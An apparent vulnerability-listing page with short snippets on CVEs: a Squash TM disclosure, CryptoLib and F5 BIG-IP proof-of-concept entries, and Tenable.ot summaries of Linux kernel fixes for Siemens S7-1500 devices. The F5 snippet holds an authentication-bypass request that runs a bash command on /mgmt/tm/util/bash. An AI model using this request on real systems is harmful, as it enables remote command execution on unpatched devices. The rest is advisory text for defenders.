CVE-2018-16987

CVE-2018-16987 This is a cleartext storage of sensitive information & sensitive information exposure vulnerability I found in Squash TM during a penetration test. SquashTM Squash TM is a web interface used to manage test cases. Link to the project Description Squash TM through at least 1.18.0...

CVE-2022-1388_PoC

F5 BIG-IP RCE exploitation CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl commandliner: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ ...

CVE-2025-30216-PoC

PoC for CVE-2025-30216: CryptoLib Heap Overflow Vulnerability Overview CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures SDLS-EP to secure communications between a spacecraft running the core Flight System cFS and a ground station...

Siemens SIMATIC S7-1500 TM MFP Plaintext Storage of a Password (CVE-2026-23303)

In the Linux kernel, the following vulnerability has been resolved: smb: client: Don't log plaintext credentials in cifssetcifscreds When debug logging is enabled, cifssetcifscreds logs the key payload and exposes the plaintext username and password. Remove the debug log to avoid exposing...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-23315)

In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: Fix possible oob access in mt76connac2macwritetxwi80211 Check frame length before accessing the mgmt fields in mt76connac2macwritetxwi80211 in order to avoid a possible oob access. fix check to also cover...

Siemens SIMATIC S7-1500 TM MFP Use After Free (CVE-2025-21791)

In the Linux kernel, the following vulnerability has been resolved: vrf: use RCU protection in l3mdevl3out l3mdevl3out can be called without RCU being held: rawsendmsg ippushpendingframes ipsendskb iplocalout iplocalout l3mdevipout Add rcureadlock / rcureadunlock pair to avoid a potential UAF. Th...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-23302)

In the Linux kernel, the following vulnerability has been resolved: net: annotate data-races around sk-skdataready,writespace skmsg and probably other layers are changing these pointers while other cpus might read them concurrently. Add corresponding READONCE/WRITEONCE annotations for UDP, TCP an...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-46168)

In the Linux kernel, the following vulnerability has been resolved: mptcp: fix scheduling with atomic in timestamp sockopt Using locksockfast atomic context around socksettimestamp and socksettimestamping is unsafe, as both helpers can sleep. Replace locksockfast with sleepable locksock/releaseso...

Siemens SIMATIC S7-1500 TM MFP Use After Free (CVE-2025-21703)

netem: Update sch q.qlen before qdisctreereducebacklog qdisctreereducebacklog notifies parent qdisc only if child qdisc becomes empty, therefore we need to reduce the backlog of the child qdisc before calling it. Otherwise it would miss the opportunity to call cops qlennotify, in the case of DRR,...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-43493)

In the Linux kernel, the following vulnerability has been resolved: crypto: pcrypt - Fix handling of MAYBACKLOG requests MAYBACKLOG requests can return EBUSY. Handle them by checking for that value and filtering out EINPROGRESS notifications. This plugin only works with Tenable.ot. Please visit...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-23364)

In the Linux kernel, the following vulnerability has been resolved: ksmbd: Compare MACs in constant time To prevent timing attacks, MAC comparisons need to be constant-time. Replace the memcmp with the correct function, cryptomemneq. This plugin only works with Tenable.ot. Please visit...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-45835)

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: Fix null-ptr-deref in l2capsocknewconnectioncb Add the same NULL guard already present in l2capsockresumecb and l2capsockreadycb. This plugin only works with Tenable.ot. Please visit...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-45850)

In the Linux kernel, the following vulnerability has been resolved: ipvs: skip ipv6 extension headers for csum checks Protocol checksum validation fails for IPv6 if there are extension headers before the protocol header. iph-len already contains its offset, so use it to fix the problem. This plug...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-45834)

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: Fix null-ptr-deref in l2capsockstatechangecb Add the same NULL guard already present in l2capsockresumecb and l2capsockreadycb. This plugin only works with Tenable.ot. Please visit...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-45997)

"In the Linux kernel, the following vulnerability has been resolved: scsi: sd: fix missing putdisk when deviceadd&diskdev fails If deviceadd&sdkp-diskdev fails, putdevice runs scsidiskrelease, which frees the scsidisk but leaves the gendisk referenced. The deviceadddisk error path in sdprobe call...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-46150)

In the Linux kernel, the following vulnerability has been resolved: fanotify: fix false positive on permission events fsnotifygetmarksafe may return false for a mark on an unrelated group, which results in bypassing the permission check. Fix by skipping over detached marks that are not in the...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-45836)

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: Fix null-ptr-deref in l2capsockgetsndtimeocb Add the same NULL guard already present in l2capsockresumecb and l2capsockreadycb. This plugin only works with Tenable.ot. Please visit...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2025-21830)

In the Linux kernel, the following vulnerability has been resolved: landlock: Handle weird files A corrupted filesystem e.g. bcachefs might return weird files. Instead of throwing a warning and allowing access to such file, treat them as regular files. This plugin only works with Tenable.ot. Plea...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-43074)

In the Linux kernel, the following vulnerability has been resolved: eventpoll: defer struct eventpoll free to RCU grace period In certain situations, epfree in eventpoll.c will kfree the epi-ep eventpoll struct while it still being used by another concurrent thread. Defer the kfree to an RCU...

Siemens SIMATIC S7-1500 TM MFP Improper Input Validation (CVE-2026-46083)

In the Linux kernel, the following vulnerability has been resolved: spi: fix resource leaks on device setup failure Make sure to call controller cleanup if spisetup fails while registering a device to avoid leaking any resources allocated by setup. This plugin only works with Tenable.ot. Please...